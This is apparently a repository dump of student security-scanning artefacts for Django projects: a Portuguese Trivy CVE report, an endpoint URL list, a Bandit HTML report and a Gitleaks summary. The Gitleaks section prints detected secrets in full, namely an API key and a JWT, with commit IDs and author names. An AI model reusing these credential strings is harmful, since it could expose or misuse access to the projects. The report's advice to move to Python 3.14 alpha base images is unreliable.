134 | 135 | 136 | ### **TEMP-0841856-B18BAF** 137 | - **Biblioteca**: **bash** 138 | - **Versão**: **5.2.15-2+b7** 139 | - **Criticalidade**: **HIGH** 140 | - **Status**: **affected** 141 | - **Descrição**: Escalonamento de privilégios possível para outro usuário que não seja root. Quando o usuário é root (uid == 0), a variável PS4 não deve ser importada do ambiente, pois poderia ser manipulada de forma maliciosa, expondo comandos sensíveis. 142 | - **Recomendação**: Atualizar para uma versão mais recente que não seja vulnerável ou **bloquear o uso de PS4**. No entanto, o problema ainda poderia ser explorado caso um processo alterasse seu uid para um valor diferente de 0 usando o comando setuid(), mas essa situação seria menos grave. 143 | - **Escalonamento de Privilégios** 144 | - **Descrição**: O escalonamento de privilégios ocorre quando um usuário comum obtém acesso a recursos ou privilégios que normalmente são restritos a usuários administrativos. No caso do bash, a variável PS4 pode ser manipulada para executar comandos sensíveis com privilégios elevados. Isso pode ser explorado por usuários maliciosos para **obter acesso não autorizado a sistemas ou informações confidenciais**. 145 | 146 |

147 | 148 |

149 | 150 | ### **CVE-2023-52425** 151 | - **Biblioteca**: **libexpat1** 152 | - **Versão**: **2.5.0-1** 153 | - **Criticalidade**: **HIGH** 154 | - **Status**: **affected** 155 | - **Descrição**: libexpat até 2.5.0 permite uma negação de serviço (DoS) porque muitas reanálises completas são necessárias no caso de um token grande para o qual são necessários vários preenchimentos de buffer. 156 | - **Recomendação**: Atualizar para uma versão mais recente que não seja vulnerável. 157 | - **DoS e DDoS** 158 | - **Descrição**: Um ataque de negação de serviço (DoS) ocorre quando um sistema é sobrecarregado com solicitações maliciosas, resultando em uma interrupção do serviço. No caso da libexpat, um token grande pode causar várias reanálises completas, levando a um DoS. Ataques de negação de serviço distribuídos (DDoS) podem ser ainda mais prejudiciais, pois envolvem múltiplos dispositivos atacando simultaneamente. 159 | 160 |

161 | 162 |

163 | 164 | 165 | ### **CVE-2024-2236** 166 | - **Biblioteca**: **libgcrypt** 167 | - **Versão**: **1.10.1-3** 168 | - **Criticalidade**: **MEDIUM** 169 | - **Status**: **fix_deferred** 170 | - **Descrição**: Uma falha de canal lateral baseada em temporização foi encontrada na implementação RSA da **libgcrypt**. Esse problema pode permitir que um invasor remoto inicie um ataque do tipo **Bleichenbacher**, que pode levar à **descriptografia de textos cifrados RSA.** 171 | - **Recomendação**: Atualizar para uma versão mais recente que não seja vulnerável. 172 | - **Canal Lateral e Ataques Bleichenbacher** 173 | - **Descrição**: Um ataque de canal lateral baseado em temporização explora a variação no tempo de execução de um algoritmo criptográfico para inferir informações sobre os dados processados. No caso da libgcrypt, essa vulnerabilidade pode ser explorada para descriptografar textos cifrados RSA. Ataques do tipo Bleichenbacher são uma forma de ataque de canal lateral que visa decifrar mensagens criptografadas 174 | 175 |

176 | 177 |

178 | 179 | ## **Recomendações de Correção** 180 | 181 | - **Atualizar Dependências Vulneráveis**: Corrigir as vulnerabilidades críticas e de alta prioridade atualizando as bibliotecas afetadas para versões mais recentes. 182 | 183 | - **Adicionar Trivy ao Pipeline**: Manter o Trivy integrado ao pipeline de CI/CD para garantir que novas vulnerabilidades sejam detectadas e corrigidas continuamente. 184 | 185 | - **Repensar a versão que a imagem usa de Base pelo Docker**: A imagem base utilizada é a `python:3.11.9-slim-bookworm`, que possui vulnerabilidades críticas herdados da imagem `debian:12-slim`. Recomenda-se pesquisa e escolha de uma imagem base mais segura. 186 | Na data atual as imagens com final `-slim-bookworm` estão na versão `3.14.0a4` e `3.14.0a5`, 3 updates minors a frente da versão utilizada e com correções de segurança para várias das vulnerabilidades encontradas. 187 | 188 | - **Realizar um DAST**: Realizar um **teste de segurança dinâmico (DAST)** utilizando as vulnerabilidades encontradas pelas rodadas de SAST implementadas nas sprints anteriores. Isso permitirá identificar possíveis falhas de segurança que podem ser exploradas por atacantes. 189 | 190 | 191 | 192 | [running]: ../Images/trivy_running.png 193 | [results]: ../Images/trivy_results.png 194 | [buffer_overflow]: ../Images/buffer_overflow.png 195 | [privilage_escalation]: ../Images/privilage_escalation.png 196 | [ddos]: ../Images/ddos.png 197 | [side_channel]: ../Images/side_channel.png 198 | -------------------------------------------------------------------------------- /2024.2/url_mec_energia.txt: -------------------------------------------------------------------------------- 1 | SUB-GRUPO 4 2 | =========== 3 | /api-auth/login/ django.contrib.auth.views.LoginView rest_framework:login 4 | /api-auth/logout/ django.contrib.auth.views.LogoutView rest_framework:logout 5 | /api/ rest_framework.routers.APIRootView api-root 6 | /api/ rest_framework.routers.APIRootView api-root 7 | /api/admin/ django.contrib.admin.sites.index admin:index 8 | /api/admin// django.contrib.admin.sites.app_index admin:app_list 9 | /api/admin/ django.contrib.admin.sites.catch_all_view 10 | /api/admin/auth/group/ django.contrib.admin.options.changelist_view admin:auth_group_changelist 11 | /api/admin/auth/group// django.views.generic.base.RedirectView 12 | /api/admin/auth/group//change/ django.contrib.admin.options.change_view admin:auth_group_change 13 | /api/admin/auth/group//delete/ django.contrib.admin.options.delete_view admin:auth_group_delete 14 | /api/admin/auth/group//history/ django.contrib.admin.options.history_view admin:auth_group_history 15 | /api/admin/auth/group/add/ django.contrib.admin.options.add_view admin:auth_group_add 16 | /api/admin/authtoken/tokenproxy/ django.contrib.admin.options.changelist_view admin:authtoken_tokenproxy_changelist 17 | /api/admin/authtoken/tokenproxy// django.views.generic.base.RedirectView 18 | /api/admin/authtoken/tokenproxy//change/ django.contrib.admin.options.change_view admin:authtoken_tokenproxy_change 19 | /api/admin/authtoken/tokenproxy//delete/ django.contrib.admin.options.delete_view admin:authtoken_tokenproxy_delete 20 | /api/admin/authtoken/tokenproxy//history/ django.contrib.admin.options.history_view admin:authtoken_tokenproxy_history 21 | /api/admin/authtoken/tokenproxy/add/ django.contrib.admin.options.add_view admin:authtoken_tokenproxy_add 22 | /api/admin/autocomplete/ django.contrib.admin.sites.autocomplete_view admin:autocomplete 23 | /api/admin/contracts/contract/ django.contrib.admin.options.changelist_view admin:contracts_contract_changelist 24 | /api/admin/contracts/contract// django.views.generic.base.RedirectView 25 | /api/admin/contracts/contract//change/ django.contrib.admin.options.change_view admin:contracts_contract_change 26 | /api/admin/contracts/contract//delete/ django.contrib.admin.options.delete_view admin:contracts_contract_delete 27 | /api/admin/contracts/contract//history/ django.contrib.admin.options.history_view admin:contracts_contract_history 28 | /api/admin/contracts/contract/add/ django.contrib.admin.options.add_view admin:contracts_contract_add 29 | /api/admin/contracts/energybill/ django.contrib.admin.options.changelist_view admin:contracts_energybill_changelist 30 | /api/admin/contracts/energybill// django.views.generic.base.RedirectView 31 | /api/admin/contracts/energybill//change/ django.contrib.admin.options.change_view admin:contracts_energybill_change 32 | /api/admin/contracts/energybill//delete/ django.contrib.admin.options.delete_view admin:contracts_energybill_delete 33 | /api/admin/contracts/energybill//history/ django.contrib.admin.options.history_view admin:contracts_energybill_history 34 | /api/admin/contracts/energybill/add/ django.contrib.admin.options.add_view admin:contracts_energybill_add 35 | /api/admin/easyaudit/crudevent/ django.contrib.admin.options.changelist_view admin:easyaudit_crudevent_changelist 36 | /api/admin/easyaudit/crudevent// django.views.generic.base.RedirectView 37 | /api/admin/easyaudit/crudevent//change/ django.contrib.admin.options.change_view admin:easyaudit_crudevent_change 38 | /api/admin/easyaudit/crudevent//delete/ django.contrib.admin.options.delete_view admin:easyaudit_crudevent_delete 39 | /api/admin/easyaudit/crudevent//history/ django.contrib.admin.options.history_view admin:easyaudit_crudevent_history 40 | /api/admin/easyaudit/crudevent/add/ django.contrib.admin.options.add_view admin:easyaudit_crudevent_add 41 | /api/admin/easyaudit/crudevent/purge/ easyaudit.admin_helpers.purge admin:easyaudit_crudevent_purge 42 | /api/admin/easyaudit/loginevent/ django.contrib.admin.options.changelist_view admin:easyaudit_loginevent_changelist 43 | /api/admin/easyaudit/loginevent// django.views.generic.base.RedirectView 44 | /api/admin/easyaudit/loginevent//change/ django.contrib.admin.options.change_view admin:easyaudit_loginevent_change 45 | /api/admin/easyaudit/loginevent//delete/ django.contrib.admin.options.delete_view admin:easyaudit_loginevent_delete 46 | /api/admin/easyaudit/loginevent//history/ django.contrib.admin.options.history_view admin:easyaudit_loginevent_history 47 | /api/admin/easyaudit/loginevent/add/ django.contrib.admin.options.add_view admin:easyaudit_loginevent_add 48 | /api/admin/easyaudit/loginevent/purge/ easyaudit.admin_helpers.purge admin:easyaudit_loginevent_purge 49 | /api/admin/easyaudit/requestevent/ django.contrib.admin.options.changelist_view admin:easyaudit_requestevent_changelist 50 | /api/admin/easyaudit/requestevent// django.views.generic.base.RedirectView 51 | /api/admin/easyaudit/requestevent//change/ django.contrib.admin.options.change_view admin:easyaudit_requestevent_change 52 | /api/admin/easyaudit/requestevent//delete/ django.contrib.admin.options.delete_view admin:easyaudit_requestevent_delete 53 | /api/admin/easyaudit/requestevent//history/ django.contrib.admin.options.history_view admin:easyaudit_requestevent_history 54 | /api/admin/easyaudit/requestevent/add/ django.contrib.admin.options.add_view admin:easyaudit_requestevent_add 55 | /api/admin/easyaudit/requestevent/purge/ easyaudit.admin_helpers.purge admin:easyaudit_requestevent_purge 56 | /api/admin/jsi18n/ django.contrib.admin.sites.i18n_javascript admin:jsi18n 57 | ========== 58 | SUB-GRUPO 3 59 | /api/admin/login/ django.contrib.admin.sites.login admin:login 60 | /api/admin/logout/ django.contrib.admin.sites.logout admin:logout 61 | /api/admin/password_change/ django.contrib.admin.sites.password_change admin:password_change 62 | /api/admin/password_change/done/ django.contrib.admin.sites.password_change_done admin:password_change_done 63 | /api/admin/r/// django.contrib.contenttypes.views.shortcut admin:view_on_site 64 | /api/admin/tariffs/distributor/ django.contrib.admin.options.changelist_view admin:tariffs_distributor_changelist 65 | /api/admin/tariffs/distributor// django.views.generic.base.RedirectView 66 | /api/admin/tariffs/distributor//change/ django.contrib.admin.options.change_view admin:tariffs_distributor_change 67 | /api/admin/tariffs/distributor//delete/ django.contrib.admin.options.delete_view admin:tariffs_distributor_delete 68 | /api/admin/tariffs/distributor//history/ django.contrib.admin.options.history_view admin:tariffs_distributor_history 69 | /api/admin/tariffs/distributor/add/ django.contrib.admin.options.add_view admin:tariffs_distributor_add 70 | /api/admin/tariffs/tariff/ django.contrib.admin.options.changelist_view admin:tariffs_tariff_changelist 71 | /api/admin/tariffs/tariff// django.views.generic.base.RedirectView 72 | /api/admin/tariffs/tariff//change/ django.contrib.admin.options.change_view admin:tariffs_tariff_change 73 | /api/admin/tariffs/tariff//delete/ django.contrib.admin.options.delete_view admin:tariffs_tariff_delete 74 | /api/admin/tariffs/tariff//history/ django.contrib.admin.options.history_view admin:tariffs_tariff_history 75 | /api/admin/tariffs/tariff/add/ django.contrib.admin.options.add_view admin:tariffs_tariff_add 76 | /api/admin/universities/consumerunit/ django.contrib.admin.options.changelist_view admin:universities_consumerunit_changelist 77 | /api/admin/universities/consumerunit// django.views.generic.base.RedirectView 78 | /api/admin/universities/consumerunit//change/ django.contrib.admin.options.change_view admin:universities_consumerunit_change 79 | /api/admin/universities/consumerunit//delete/ django.contrib.admin.options.delete_view admin:universities_consumerunit_delete 80 | /api/admin/universities/consumerunit//history/ django.contrib.admin.options.history_view admin:universities_consumerunit_history 81 | /api/admin/universities/consumerunit/add/ django.contrib.admin.options.add_view admin:universities_consumerunit_add 82 | /api/admin/universities/university/ django.contrib.admin.options.changelist_view admin:universities_university_changelist 83 | /api/admin/universities/university// django.views.generic.base.RedirectView 84 | /api/admin/universities/university//change/ django.contrib.admin.options.change_view admin:universities_university_change 85 | /api/admin/universities/university//delete/ django.contrib.admin.options.delete_view admin:universities_university_delete 86 | /api/admin/universities/university//history/ django.contrib.admin.options.history_view admin:universities_university_history 87 | /api/admin/universities/university/add/ django.contrib.admin.options.add_view admin:universities_university_add 88 | /api/admin/users/customuser/ django.contrib.admin.options.changelist_view admin:users_customuser_changelist 89 | /api/admin/users/customuser//password/ django.contrib.auth.admin.user_change_password admin:auth_user_password_change 90 | /api/admin/users/customuser// django.views.generic.base.RedirectView 91 | /api/admin/users/customuser//change/ django.contrib.admin.options.change_view admin:users_customuser_change 92 | /api/admin/users/customuser//delete/ django.contrib.admin.options.delete_view admin:users_customuser_delete 93 | /api/admin/users/customuser//history/ django.contrib.admin.options.history_view admin:users_customuser_history 94 | /api/admin/users/customuser/add/ django.contrib.auth.admin.add_view admin:users_customuser_add 95 | /api/admin/users/universityuser/ django.contrib.admin.options.changelist_view admin:users_universityuser_changelist 96 | /api/admin/users/universityuser//password/ django.contrib.auth.admin.user_change_password admin:auth_user_password_change 97 | /api/admin/users/universityuser// django.views.generic.base.RedirectView 98 | /api/admin/users/universityuser//change/ django.contrib.admin.options.change_view admin:users_universityuser_change 99 | /api/admin/users/universityuser//delete/ django.contrib.admin.options.delete_view admin:users_universityuser_delete 100 | /api/admin/users/universityuser//history/ django.contrib.admin.options.history_view admin:users_universityuser_history 101 | /api/admin/users/universityuser/add/ django.contrib.auth.admin.add_view admin:users_universityuser_add 102 | /api/clear-cache/ mec_energia.views.ClearCacheView clear_cache 103 | ======================= 104 | SUB-GRUPO 2 105 | /api/consumer-units/ universities.views.ConsumerUnitViewSet consumerunit-list 106 | /api/consumer-units// universities.views.ConsumerUnitViewSet consumerunit-detail 107 | /api/consumer-units/\./ universities.views.ConsumerUnitViewSet consumerunit-detail 108 | /api/consumer-units/create_consumer_unit_and_contract/ universities.views.ConsumerUnitViewSet consumerunit-create-consumer-unit-and-contract 109 | /api/consumer-units/create_consumer_unit_and_contract\./ universities.views.ConsumerUnitViewSet consumerunit-create-consumer-unit-and-contract 110 | /api/consumer-units/edit_consumer_unit_and_contract/ universities.views.ConsumerUnitViewSet consumerunit-edit-consumer-unit-and-contract 111 | /api/consumer-units/edit_consumer_unit_and_contract\./ universities.views.ConsumerUnitViewSet consumerunit-edit-consumer-unit-and-contract 112 | /api/consumer-units/edit_consumer_unit_code_and_create_contract/ universities.views.ConsumerUnitViewSet consumerunit-edit-consumer-unit-code-and-create-contract 113 | /api/consumer-units/edit_consumer_unit_code_and_create_contract\./ universities.views.ConsumerUnitViewSet consumerunit-edit-consumer-unit-code-and-create-contract 114 | /api/consumer-units\./ universities.views.ConsumerUnitViewSet consumerunit-list 115 | /api/contracts/ contracts.views.ContractViewSet contract-list 116 | /api/contracts// contracts.views.ContractViewSet contract-detail 117 | /api/contracts/\./ contracts.views.ContractViewSet contract-detail 118 | /api/contracts/get-current-contract-of-consumer-unit/ contracts.views.ContractViewSet contract-get-current-contract-of-consumer-unit 119 | /api/contracts/get-current-contract-of-consumer-unit\./ contracts.views.ContractViewSet contract-get-current-contract-of-consumer-unit 120 | /api/contracts/list-subgroups/ contracts.views.ContractViewSet contract-list-subgroups 121 | /api/contracts/list-subgroups\./ contracts.views.ContractViewSet contract-list-subgroups 122 | /api/contracts\./ contracts.views.ContractViewSet contract-list 123 | /api/distributors/ tariffs.views.DistributorViewSet distributor-list 124 | /api/distributors// tariffs.views.DistributorViewSet distributor-detail 125 | /api/distributors//consumer-units-by-subgroup/ tariffs.views.DistributorViewSet distributor-consumer-units-separated-by-subgroup 126 | /api/distributors//consumer-units-by-subgroup\./ tariffs.views.DistributorViewSet distributor-consumer-units-separated-by-subgroup 127 | /api/distributors//get-tariffs/ tariffs.views.DistributorViewSet distributor-get-blue-and-green-tariffs 128 | /api/distributors//get-tariffs\./ tariffs.views.DistributorViewSet distributor-get-blue-and-green-tariffs 129 | /api/distributors/\./ tariffs.views.DistributorViewSet distributor-detail 130 | /api/distributors\./ tariffs.views.DistributorViewSet distributor-list 131 | /api/download-step-by-step-pdf/ tariffs.views.DownloadPDFViewSet download-pdf-list 132 | /api/download-step-by-step-pdf\./ tariffs.views.DownloadPDFViewSet download-pdf-list 133 | /api/energy-bills/ contracts.views.EnergyBillViewSet energybill-list 134 | /api/energy-bills// contracts.views.EnergyBillViewSet energybill-detail 135 | /api/energy-bills/\./ contracts.views.EnergyBillViewSet energybill-detail 136 | /api/energy-bills/download-csv-model/ contracts.views.EnergyBillViewSet energybill-download-csv-model 137 | /api/energy-bills/download-csv-model\./ contracts.views.EnergyBillViewSet energybill-download-csv-model 138 | /api/energy-bills/download-xlsx-model/ contracts.views.EnergyBillViewSet energybill-download-xlsx-model 139 | /api/energy-bills/download-xlsx-model\./ contracts.views.EnergyBillViewSet energybill-download-xlsx-model 140 | /api/energy-bills/multiple_create/ contracts.views.EnergyBillViewSet energybill-multiple-create 141 | /api/energy-bills/multiple_create\./ contracts.views.EnergyBillViewSet energybill-multiple-create 142 | /api/energy-bills/plot-graph/ contracts.views.EnergyBillViewSet energybill-plot-graph 143 | /api/energy-bills/plot-graph\./ contracts.views.EnergyBillViewSet energybill-plot-graph 144 | /api/energy-bills/upload/ contracts.views.EnergyBillViewSet energybill-upload-csv 145 | /api/energy-bills/upload\./ contracts.views.EnergyBillViewSet energybill-upload-csv 146 | /api/energy-bills\./ contracts.views.EnergyBillViewSet energybill-list 147 | /api/global-search-recommendation// global_search_recommendation.views.GlobalSearchRecommendationViewSet global-search-recommendation-detail 148 | /api/global-search-recommendation/\./ global_search_recommendation.views.GlobalSearchRecommendationViewSet global-search-recommendation-detail 149 | /api/percentile-recommendation// recommendation.views.RecommendationViewSet percentile-recommendation-detail 150 | /api/percentile-recommendation/\./ recommendation.views.RecommendationViewSet percentile-recommendation-detail 151 | /api/recommendation-settings/ recommendation_commons.recommendation_settings.RecommendationSettings recommendation-settings-list 152 | /api/recommendation-settings\./ recommendation_commons.recommendation_settings.RecommendationSettings recommendation-settings-list 153 | /api/recommendation// recommendation.views.RecommendationViewSet recommendation-detail 154 | /api/recommendation/\./ recommendation.views.RecommendationViewSet recommendation-detail 155 | /api/reset-password-admin/ users.authentications.ResetPasswordByAdmin 156 | /api/reset-password/ users.authentications.ResetPassword 157 | /api/reset-password/confirm users.authentications.ConfirmResetPassword 158 | /api/swagger/schema/ drf_yasg.views.SchemaView 159 | /api/tariffs/ tariffs.views.TariffViewSet tariff-list 160 | /api/tariffs// tariffs.views.TariffViewSet tariff-detail 161 | /api/tariffs/\./ tariffs.views.TariffViewSet tariff-detail 162 | /api/tariffs\./ tariffs.views.TariffViewSet tariff-list 163 | /api/token/ users.authentications.Authentication 164 | /api/token/logout/ users.authentications.Logout 165 | === 166 | SUB-GRUPO 1 167 | /api/universities/ universities.views.UniversityViewSet university-list 168 | /api/universities// universities.views.UniversityViewSet university-detail 169 | /api/universities/\./ universities.views.UniversityViewSet university-detail 170 | /api/universities\./ universities.views.UniversityViewSet university-list 171 | /api/university-user/ users.views.UniversityUsersViewSet universityuser-list 172 | /api/university-user// users.views.UniversityUsersViewSet universityuser-detail 173 | /api/university-user//favorite-consumer-units/ users.views.UniversityUsersViewSet universityuser-add-or-remove-favorite-consumer-unit 174 | /api/university-user//favorite-consumer-units\./ users.views.UniversityUsersViewSet universityuser-add-or-remove-favorite-consumer-unit 175 | /api/university-user/\./ users.views.UniversityUsersViewSet universityuser-detail 176 | /api/university-user/change-university-user-type/ users.views.UniversityUsersViewSet universityuser-change-university-user-type 177 | /api/university-user/change-university-user-type\./ users.views.UniversityUsersViewSet universityuser-change-university-user-type 178 | /api/university-user\./ users.views.UniversityUsersViewSet universityuser-list 179 | /api/users/ users.views.CustomUserViewSet customuser-list 180 | /api/users// users.views.CustomUserViewSet customuser-detail 181 | /api/users/\./ users.views.CustomUserViewSet customuser-detail 182 | /api/users/change-user-password/ users.views.CustomUserViewSet customuser-change-user-password 183 | /api/users/change-user-password\./ users.views.CustomUserViewSet customuser-change-user-password 184 | /api/users\./ users.views.CustomUserViewSet customuser-list 185 | -------------------------------------------------------------------------------- /2025.1/EJ/BlueTeam/artefatos/bandit-report.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | Bandit Report 10 | 11 | 12 | 74 | 75 | 76 | 77 | 78 |
79 |
80 |
81 | Metrics:
82 |
83 | Total lines of code: 13845
84 | Total lines skipped (#nosec): 0 85 |
86 |
87 | 88 | 89 | 90 | 91 |
92 |
93 | 94 |
95 |
96 | try_except_pass: Try, Except, Pass detected.
97 | Test ID: B110
98 | Severity: LOW
99 | Confidence: HIGH
100 | CWE: CWE-703
101 | File: src/ej/components/menu.py
102 | Line number: 28
103 | More info: https://bandit.readthedocs.io/en/1.8.3/plugins/b110_try_except_pass.html
104 | 105 |
106 |
107 | 27	                apps_links.append(app_menu)
108 | 28	            except Exception:
109 | 29	                pass
110 | 30	        return apps_links
111 | 
112 |
113 | 114 | 115 |
116 |
117 | 118 |
119 |
120 | try_except_pass: Try, Except, Pass detected.
121 | Test ID: B110
122 | Severity: LOW
123 | Confidence: HIGH
124 | CWE: CWE-703
125 | File: src/ej/settings/apps.py
126 | Line number: 73
127 | More info: https://bandit.readthedocs.io/en/1.8.3/plugins/b110_try_except_pass.html
128 | 129 |
130 |
131 | 72	                    log.info(f"Adding {app} app to project apps list")
132 | 73	            except Exception:
133 | 74	                pass
134 | 75	        return submodule_apps
135 | 
136 |
137 | 138 | 139 |
140 |
141 | 142 |
143 |
144 | exec_used: Use of exec detected.
145 | Test ID: B102
146 | Severity: MEDIUM
147 | Confidence: HIGH
148 | CWE: CWE-78
149 | File: src/ej/settings/themes.py
150 | Line number: 23
151 | More info: https://bandit.readthedocs.io/en/1.8.3/plugins/b102_exec_used.html
152 | 153 |
154 |
155 | 22	                globs = dict(settings)
156 | 23	                exec(data, globs)
157 | 24	                globs = {k: v for k, v in globs.items() if k.isupper()}
158 | 
159 |
160 | 161 | 162 |
163 |
164 | 165 |
166 |
167 | try_except_pass: Try, Except, Pass detected.
168 | Test ID: B110
169 | Severity: LOW
170 | Confidence: HIGH
171 | CWE: CWE-703
172 | File: src/ej/urls.py
173 | Line number: 70
174 | More info: https://bandit.readthedocs.io/en/1.8.3/plugins/b110_try_except_pass.html
175 | 176 |
177 |
178 | 69	            log.info(f"Including {app_config} URLs using get_apps_dynamic_urls()")
179 | 70	        except Exception:
180 | 71	            pass
181 | 72	    return apps_urls
182 | 
183 |
184 | 185 | 186 |
187 |
188 | 189 |
190 |
191 | blacklist: Consider possible security implications associated with picklefield module.
192 | Test ID: B403
193 | Severity: LOW
194 | Confidence: HIGH
195 | CWE: CWE-502
196 | File: src/ej_conversations/fields.py
197 | Line number: 1
198 | More info: https://bandit.readthedocs.io/en/1.8.3/blacklists/blacklist_imports.html#b403-import-pickle
199 | 200 |
201 |
202 | 1	import picklefield
203 | 2	
204 | 3	try:
205 | 
206 |
207 | 208 | 209 |
210 |
211 | 212 |
213 |
214 | try_except_pass: Try, Except, Pass detected.
215 | Test ID: B110
216 | Severity: LOW
217 | Confidence: HIGH
218 | CWE: CWE-703
219 | File: src/ej_conversations/models/conversation.py
220 | Line number: 437
221 | More info: https://bandit.readthedocs.io/en/1.8.3/plugins/b110_try_except_pass.html
222 | 223 |
224 |
225 | 436	                )
226 | 437	            except Exception:
227 | 438	                pass
228 | 439	        return self.next_comment(user)
229 | 
230 |
231 | 232 | 233 |
234 |
235 | 236 |
237 |
238 | try_except_pass: Try, Except, Pass detected.
239 | Test ID: B110
240 | Severity: LOW
241 | Confidence: HIGH
242 | CWE: CWE-703
243 | File: src/ej_conversations/serializers.py
244 | Line number: 223
245 | More info: https://bandit.readthedocs.io/en/1.8.3/plugins/b110_try_except_pass.html
246 | 247 |
248 |
249 | 222	            return skipped_vote
250 | 223	        except Exception:
251 | 224	            pass
252 | 225	        if vote.id is None:
253 | 
254 |
255 | 256 | 257 |
258 |
259 | 260 |
261 |
262 | try_except_pass: Try, Except, Pass detected.
263 | Test ID: B110
264 | Severity: LOW
265 | Confidence: HIGH
266 | CWE: CWE-703
267 | File: src/ej_dataviz/views/filters.py
268 | Line number: 91
269 | More info: https://bandit.readthedocs.io/en/1.8.3/plugins/b110_try_except_pass.html
270 | 271 |
272 |
273 | 90	                self.clusters_filters.append(cluster.name)
274 | 91	            except Exception:
275 | 92	                pass
276 | 93	        dataframe_utils = self.get_dataframe_utils(df)
277 | 
278 |
279 | 280 | 281 |
282 |
283 | 284 |
285 |
286 | jinja2_autoescape_false: By default, jinja2 sets autoescape to False. Consider using autoescape=True or use the select_autoescape function to mitigate XSS vulnerabilities.
287 | Test ID: B701
288 | Severity: HIGH
289 | Confidence: HIGH
290 | CWE: CWE-94
291 | File: src/ej_integrations/mailing.py
292 | Line number: 60
293 | More info: https://bandit.readthedocs.io/en/1.8.3/plugins/b701_jinja2_autoescape_false.html
294 | 295 |
296 |
297 | 59	        templates_dir = os.path.join(root, "./jinja2/ej_integrations")
298 | 60	        env = Environment(loader=FileSystemLoader(templates_dir))
299 | 61	        host = get_host_with_schema(self.request)
300 | 
301 |
302 | 303 | 304 |
305 |
306 | 307 |
308 |
309 | request_without_timeout: Call to requests without timeout
310 | Test ID: B113
311 | Severity: MEDIUM
312 | Confidence: LOW
313 | CWE: CWE-400
314 | File: src/ej_integrations/utils.py
315 | Line number: 6
316 | More info: https://bandit.readthedocs.io/en/1.8.3/plugins/b113_request_without_timeout.html
317 | 318 |
319 |
320 | 5	def get_npm_tag(url=BASE_URL_NPM):
321 | 6	    version = get(url)
322 | 7	    return version
323 | 
324 |
325 | 326 | 327 |
328 |
329 | 330 |
331 |
332 | hashlib: Use of weak MD5 hash for security. Consider usedforsecurity=False
333 | Test ID: B324
334 | Severity: HIGH
335 | Confidence: HIGH
336 | CWE: CWE-327
337 | File: src/ej_profiles/models.py
338 | Line number: 326
339 | More info: https://bandit.readthedocs.io/en/1.8.3/plugins/b324_hashlib.html
340 | 341 |
342 |
343 | 325	    """
344 | 326	    digest = hashlib.md5(id_.encode("utf-8")).hexdigest()
345 | 327	    return "https://gravatar.com/avatar/{}?s=40&d=mm".format(digest)
346 | 
347 |
348 | 349 | 350 |
351 |
352 | 353 |
354 | 355 | 356 | 357 | -------------------------------------------------------------------------------- /2025.1/EJ/BlueTeam/artefatos/gitleaks.md: -------------------------------------------------------------------------------- 1 | # Gitleaks Scan Summary 2 | 3 | ## Secrets Found: 4 | 5 | ### Finding Type: generic-api-key 6 | - **Description:** Detected a Generic API Key, potentially exposing access to various services and sensitive operations. 7 | - **File:** .gitlab-ci.yml 8 | - **Line:** 10 9 | - **Secret:** `51xTbvyHGmEfeZZUxUct` 10 | - **Commit:** 3c5d08ea4998b074856236bde063faac617c2114 11 | - **Author:** Lude Yuri de Castro Ribeiro 12 | - **Tags:** 13 | --- 14 | ### Finding Type: jwt 15 | - **Description:** Uncovered a JSON Web Token, which may lead to unauthorized access to web applications and sensitive user data. 16 | - **File:** docs/development-guides/pt-br/api.rst 17 | - **Line:** 30 18 | - **Secret:** `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbl90eXBlIjoicmVmcmVzaCIsImV4cCI6MTcxNjMwODkwOSwiaWF0IjoxNzE2MjIyNTA5LCJqdGkiOiI2MDNmYTYzOGRiNjU0ZDc5ODA5NjU3NWUxYjgwY2NiOCIsInVzZXJfaWQiOjc5Nn0.3QZdVL9A_EcAb5LJFWdcSHXRQ8ZWJ2P5RGq8yE9JzRc` 19 | - **Commit:** 3c5d08ea4998b074856236bde063faac617c2114 20 | - **Author:** Lude Yuri de Castro Ribeiro 21 | - **Tags:** 22 | --- 23 | ### Finding Type: generic-api-key 24 | - **Description:** Detected a Generic API Key, potentially exposing access to various services and sensitive operations. 25 | - **File:** src/ej_users/tests/test_api.py 26 | - **Line:** 129 27 | - **Secret:** `8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92` 28 | - **Commit:** 3c5d08ea4998b074856236bde063faac617c2114 29 | - **Author:** Lude Yuri de Castro Ribeiro 30 | - **Tags:** 31 | --- 32 | ### Finding Type: generic-api-key 33 | - **Description:** Detected a Generic API Key, potentially exposing access to various services and sensitive operations. 34 | - **File:** .gitlab-ci.yml 35 | - **Line:** 10 36 | - **Secret:** `51xTbvyHGmEfeZZUxUct` 37 | - **Commit:** 52e55e2b23c229ea0473c25123717bcd8746b02e 38 | - **Author:** David Carlos 39 | - **Tags:** 40 | --- 41 | ### Finding Type: jwt 42 | - **Description:** Uncovered a JSON Web Token, which may lead to unauthorized access to web applications and sensitive user data. 43 | - **File:** docs/development-guides/pt-br/api.rst 44 | - **Line:** 30 45 | - **Secret:** `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbl90eXBlIjoicmVmcmVzaCIsImV4cCI6MTcxNjMwODkwOSwiaWF0IjoxNzE2MjIyNTA5LCJqdGkiOiI2MDNmYTYzOGRiNjU0ZDc5ODA5NjU3NWUxYjgwY2NiOCIsInVzZXJfaWQiOjc5Nn0.3QZdVL9A_EcAb5LJFWdcSHXRQ8ZWJ2P5RGq8yE9JzRc` 46 | - **Commit:** 52e55e2b23c229ea0473c25123717bcd8746b02e 47 | - **Author:** David Carlos 48 | - **Tags:** 49 | --- 50 | ### Finding Type: generic-api-key 51 | - **Description:** Detected a Generic API Key, potentially exposing access to various services and sensitive operations. 52 | - **File:** src/ej_users/tests/test_api.py 53 | - **Line:** 129 54 | - **Secret:** `8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92` 55 | - **Commit:** 52e55e2b23c229ea0473c25123717bcd8746b02e 56 | - **Author:** David Carlos 57 | - **Tags:** 58 | --- 59 | -------------------------------------------------------------------------------- /2025.1/EJ/BlueTeam/relatorios/sprint1.md: -------------------------------------------------------------------------------- 1 | # Relatório de Implementação de SAST - Projeto EJ 2 | 3 | ## Introdução 4 | 5 | Este relatório documenta a implementação de Static Application Security Testing (SAST) na pipeline de CI/CD do projeto EJ-Application. A ferramenta escolhida foi o Bandit, específica para análise de segurança em código Python, conforme requisitos do projeto. 6 | 7 | ## Objetivos 8 | 9 | - Implementar uma 